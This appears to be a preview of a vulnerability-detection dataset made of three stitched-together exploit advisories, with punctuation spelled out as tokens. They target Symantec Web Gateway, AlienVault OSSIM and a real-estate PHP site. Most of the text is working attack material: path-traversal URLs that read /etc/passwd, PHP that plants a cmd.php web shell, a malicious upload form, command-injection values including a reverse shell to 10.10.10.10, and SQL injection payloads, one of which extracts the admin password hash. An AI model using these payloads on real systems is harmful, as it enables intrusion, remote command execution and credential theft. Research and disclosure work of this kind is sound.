Software: Symantec Web Gateway<NEWLINE>Current Software Version: 5.0.2.8<NEWLINE>Product homepage: www.symantec.com<NEWLINE>Author: S2 Crew [Hungary]<NEWLINE>CVE: CVE<hyphen>2012<hyphen>0297, CVE<hyphen>2012<hyphen>0298, ???<NEWLINE>File include:<NEWLINE>https:<slash><slash>192.168.82.207<slash>spywall<slash>previewProxyError.php?err=..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>etc<slash>passwd<NEWLINE>File include and OS command execution:<NEWLINE>http:<slash><slash>192.168.82.207<slash>spywall<slash>releasenotes.php?relfile=..<slash>..<slash>..<slash>..<slash>..<slash>..<slash>etc<slash>passwd<NEWLINE>You can execute OS commands just include the error<underscore>log:<NEWLINE><slash>usr<slash>local<slash>apache2<slash>logs<slash><NEWLINE><hyphen>rw<hyphen>r<hyphen><hyphen>r<hyphen><hyphen> 1 root root 5925 Nov 15 07:25 access<underscore>log<NEWLINE><hyphen>rw<hyphen>r<hyphen><hyphen>r<hyphen><hyphen> 1 root root 3460 Nov 15 07:21 error<underscore>log<NEWLINE>Make a connection to port 80:<NEWLINE><?php<NEWLINE>$f = fopen(<single<underscore>quote><slash>var<slash>www<slash>html<slash>spywall<slash>cleaner<slash>cmd.php<single<underscore>quote>,<single<underscore>quote>w<single<underscore>quote>);<NEWLINE>$cmd = <double<underscore>quote><?php system(<backslash>$<underscore>GET[<single<underscore>quote>cmd<single<underscore>quote>]); ?><double<underscore>quote>;<NEWLINE>fputs($f,$cmd);<NEWLINE>fclose($f);<NEWLINE>print <double<underscore>quote>Shell creation done<br><double<underscore>quote>;<NEWLINE>?><NEWLINE>Arbitary file download and delete:<NEWLINE>https:<slash><slash>192.168.82.207<slash>spywall<slash>download<underscore>file.php?d=<slash>tmp<slash>addroutelog&name=addroutelog<NEWLINE>d parameter: the complete filename<NEWLINE>After the download process application removes the original file with root access! :)<NEWLINE>Command execution methods:<NEWLINE>1.Method<NEWLINE>Download and delete the <slash>var<slash>www<slash>html<slash>ciu<slash>.htaccess file.<NEWLINE>After it you can access the ciu interface on web.<NEWLINE>There is an upload script: <slash>ciu<slash>uploadFile.php<NEWLINE>User can control the filename and the upload location:<NEWLINE>$<underscore>FILES[<single<underscore>quote>uploadFile<single<underscore>quote>];<NEWLINE>$<underscore>POST[<single<underscore>quote>uploadLocation<single<underscore>quote>];<NEWLINE>2.Method<NEWLINE><form action=<double<underscore>quote>https:<slash><slash>192.168.82.192<slash>ciu<slash>remoteRepairs.php<double<underscore>quote> method=<double<underscore>quote>POST<double<underscore>quote> enctype=<double<underscore>quote>multipart<slash>form<hyphen>data<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>file<double<underscore>quote> name=<double<underscore>quote>uploadFile<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>text<double<underscore>quote> name=<double<underscore>quote>action<double<underscore>quote> value=<double<underscore>quote>upload<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>text<double<underscore>quote> name=<double<underscore>quote>uploadLocation<double<underscore>quote> value=<double<underscore>quote><slash>var<slash>www<slash>html<slash>spywall<slash>cleaner<slash><double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>configuration<double<underscore>quote> value=<double<underscore>quote>test<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>submit<double<underscore>quote> value=<double<underscore>quote>upload!<double<underscore>quote>><NEWLINE><<slash>form><NEWLINE>The <double<underscore>quote><slash>var<slash>www<slash>html<slash>spywall<slash>cleaner<double<underscore>quote> is writeable by www<hyphen>data.<NEWLINE>Command execution after authentication:<NEWLINE>http:<slash><slash>192.168.82.207<slash>spywall<slash>adminConfig.php (this is deprecated config file, it should be remove)<NEWLINE>From the modified POST message:<NEWLINE>Content<hyphen>Disposition: form<hyphen>data; name=<double<underscore>quote>pingaddress<double<underscore>quote><NEWLINE>127.0.0.1`whoami><slash>tmp<slash>1234.txt`
1
please judge the source code for vulnerabilities.
Details<NEWLINE>=======<NEWLINE>Product: Alienvault OSSIM<slash>USM<NEWLINE>Vulnerability: Multiple Vulnerabilities (XSS, SQLi, Command Execution)<NEWLINE>Author: Peter Lapp, lappsec@gmail.com<NEWLINE>CVE: None assigned<NEWLINE>Vulnerable Versions: Tested on 4.14, 4.15, and 5.0. It likely affects<NEWLINE>all previous versions as well.<NEWLINE>Fixed Version: No fix has been released.<NEWLINE>Summary<NEWLINE>=======<NEWLINE>Alienvault OSSIM is an open source SIEM solution designed to collect<NEWLINE>and correlate log data. The vulnerability management section of the UI<NEWLINE>allows a user to upload a Nessus scan in NBE format. Using a specially<NEWLINE>crafted NBE file, a user can exploit multiple vulnerabilities such as<NEWLINE>XSS, SQLi, and Command Execution. Authentication is required to<NEWLINE>exploit this vulnerability, but admin privileges are not required. Any<NEWLINE>user with access to the Vulnerabilities page can perform these<NEWLINE>attacks.<NEWLINE>The vendor was notified almost 5 months ago about this vulnerability.<NEWLINE>Given that they have not responded to my recent requests for updates<NEWLINE>and just released a major version that did not patch these issues, I<NEWLINE>have decided to release the details.<NEWLINE>Technical Details<NEWLINE>=================<NEWLINE>Various fields within the NBE file can be manipulated to exploit<NEWLINE>certain vulnerabilities. A pretty bare template that I used to test<NEWLINE>these issues looked something like this:<NEWLINE>timestamps|||scan<underscore>start|Thu Dec 11 17:00:51 2014|<NEWLINE>timestamps||1.1.1.1|host<underscore>start|Thu Dec 11 17:00:52 2014|<NEWLINE>results|1.1.1.1|1.1.1.1|cifs (445<slash>tcp)|1234|Security Hole|Synopsis<NEWLINE>:<backslash>n<backslash>nThe remote host contains a web browser that is affected by<NEWLINE>multiple vulnerabilities.<backslash>nOther references :<NEWLINE>OSVDB:113197,OSVDB:113198,OSVDB:113199,OSVDB:115035<backslash>n<NEWLINE>timestamps||1.1.1.1|host<underscore>end|Thu Dec 11 17:11:58 2014|<NEWLINE>timestamps|||scan<underscore>end|Thu Dec 11 17:16:44 2014|<NEWLINE>Reflective XSS<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>The hostname<slash>IP portion of the NBE import is vulnerable. Putting<NEWLINE><script>alert(0)<<slash>script> directly after the hostname<slash>IP in the NBE<NEWLINE>will result in the javascript being reflected back when the import<NEWLINE>finishes.<NEWLINE>Stored XSS<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>The plugin ID portion of the NBE is vulnerable.<NEWLINE>Adding<script>alert(document.cookie)<<slash>script> to the plugin ID in the<NEWLINE>NBE will result in the script being executed every time someone views<NEWLINE>the HTML report in the OSSIM interface.<NEWLINE>Blind SQL Injection<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>The plugin ID is also vulnerable to blind SQLi. Adding <single<underscore>quote> UNION SELECT<NEWLINE>SLEEP(20) AND <single<underscore>quote>1<single<underscore>quote>=<single<underscore>quote>1 to the plugin ID will cause the DB to sleep for<NEWLINE>20 seconds.<NEWLINE>SQL Injection<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>The protocol portion of the NBE is vulnerable to SQL injection.<NEWLINE>Take this:<NEWLINE>cifs (445<slash>tcp)<NEWLINE>And turn it to this:<NEWLINE>cifs<single<underscore>quote>,<single<underscore>quote>0<single<underscore>quote>,<single<underscore>quote>1(<single<underscore>quote>,(select<slash>**<slash>pass<slash>**<slash>from<slash>**<slash>users<slash>**<slash>where<slash>**<slash>login=<double<underscore>quote>admin<double<underscore>quote>),<single<underscore>quote>N<single<underscore>quote>);<NEWLINE>(445<slash>tcp)<NEWLINE>That will result in the hash of the admin password being included in<NEWLINE>the report. The extra <single<underscore>quote>(<single<underscore>quote> in <single<underscore>quote>1(<single<underscore>quote> is required for the ending ) in<NEWLINE>order to not cause an error in the Perl script that runs the import.<NEWLINE>Command Injection<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>The hostname<slash>IP portion of the NBE is vulnerable. Adding <single<underscore>quote><NEWLINE><slash>bin<slash>sh 10.10.10.10 4444&&<single<underscore>quote> will result in a reverse shell as www<hyphen>data<NEWLINE>to 10.10.10.10.<NEWLINE>The initial<NEWLINE>that comes before the dig command where this is injected. Without it<NEWLINE>the script won<single<underscore>quote>t proceed to the required point.<NEWLINE>Solution<NEWLINE>========<NEWLINE>There<single<underscore>quote>s no official patch for this yet. It is possible to restrict<NEWLINE>access to the Vulnerabilities page via user roles, which should<NEWLINE>prevent a user from exploiting this. Also, if you<single<underscore>quote>re not using the<NEWLINE>import feature, you could rename the Perl script on the file system<NEWLINE>that runs the import.<NEWLINE>Timeline<NEWLINE>========<NEWLINE>01<slash>12<slash>2015 <hyphen> Notified the vendor of the vulnerabilities.<NEWLINE>01<slash>12<slash>2015 <hyphen> Vendor confirms the issue and files a defect.<NEWLINE>01<slash>28<slash>2015 <hyphen> Requested an update from the vendor and was told the<NEWLINE>issue would be worked on in the future.<NEWLINE>04<slash>20<slash>2015 <hyphen> Requested an update and informed the vendor of my intent<NEWLINE>to release the details. No response.<NEWLINE>05<slash>05<slash>2015 <hyphen> Released details to FD.
1
please judge the source code for vulnerabilities.
<hyphen><hyphen><hyphen><hyphen><hyphen> PoC 1: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>emlak<hyphen>ara.html?emlak<underscore>durumu=0&emlak<underscore>tipi=0&il=0&ilce=0&kelime=0&max<underscore>fiyat=e&max<underscore>metrekare=e&min<underscore>fiyat=e&min<underscore>metrekare=e&resim=evet&semt=0&video=evet<NEWLINE>Vulnerable Parameter: emlak<underscore>durumu (GET)<NEWLINE>Payload: <hyphen>1<single<underscore>quote> OR 3*2*1=6 AND 000744=000744 <hyphen><hyphen><NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen> PoC 2: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>emlak<hyphen>ara.html?emlak<underscore>durumu=0&emlak<underscore>tipi=0&il=0&ilce=0&kelime=0&max<underscore>fiyat=e&max<underscore>metrekare=e&min<underscore>fiyat=e&min<underscore>metrekare=e&resim=evet&semt=0&video=evet<NEWLINE>Vulnerable Parameter: emlak<underscore>tipi (GET)<NEWLINE>Payload: 0<single<underscore>quote>XOR(if(now()=sysdate(),sleep(0),0))XOR<single<underscore>quote>Z<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen> PoC 3: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>emlak<hyphen>ara.html?emlak<underscore>durumu=0&emlak<underscore>tipi=0&il=0&ilce=0&kelime=0&max<underscore>fiyat=e&max<underscore>metrekare=e&min<underscore>fiyat=e&min<underscore>metrekare=e&resim=evet&semt=0&video=evet<NEWLINE>Vulnerable Parameter: il (GET)<NEWLINE>Payload: 0<single<underscore>quote>XOR(if(now()=sysdate(),sleep(0),0))XOR<single<underscore>quote>Z<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen> PoC 4: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>emlak<hyphen>ara.html?emlak<underscore>durumu=0&emlak<underscore>tipi=0&il=0&ilce=0&kelime=0&max<underscore>fiyat=e&max<underscore>metrekare=e&min<underscore>fiyat=e&min<underscore>metrekare=e&resim=evet&semt=0&video=evet<NEWLINE>Vulnerable Parameter: ilce (GET)<NEWLINE>Payload: <hyphen>1<single<underscore>quote> OR 3*2*1=6 AND 000397=000397 <hyphen><hyphen><NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen> PoC 5: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>emlak<hyphen>ara.html?emlak<underscore>durumu=0&emlak<underscore>tipi=0&il=0&ilce=0&kelime=0&max<underscore>fiyat=e&max<underscore>metrekare=e&min<underscore>fiyat=e&min<underscore>metrekare=e&resim=evet&semt=0&video=evet<NEWLINE>Vulnerable Parameter: kelime (GET)<NEWLINE>Payload: <hyphen>1<single<underscore>quote> OR 3*2*1=6 AND 000397=000397 <hyphen><hyphen><NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen> PoC 6: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>emlak<hyphen>ara.html?emlak<underscore>durumu=0&emlak<underscore>tipi=0&il=0&ilce=0&kelime=0&max<underscore>fiyat=e&max<underscore>metrekare=e&min<underscore>fiyat=e&min<underscore>metrekare=e&resim=evet&semt=0&video=evet<NEWLINE>Vulnerable Parameter: semt (GET)<NEWLINE>Payload: <hyphen>1<single<underscore>quote> OR 3*2*1=6 AND 000531=000531 <hyphen><hyphen>
1
End of preview. Expand in Data Studio
README.md exists but content is empty.
Downloads last month
25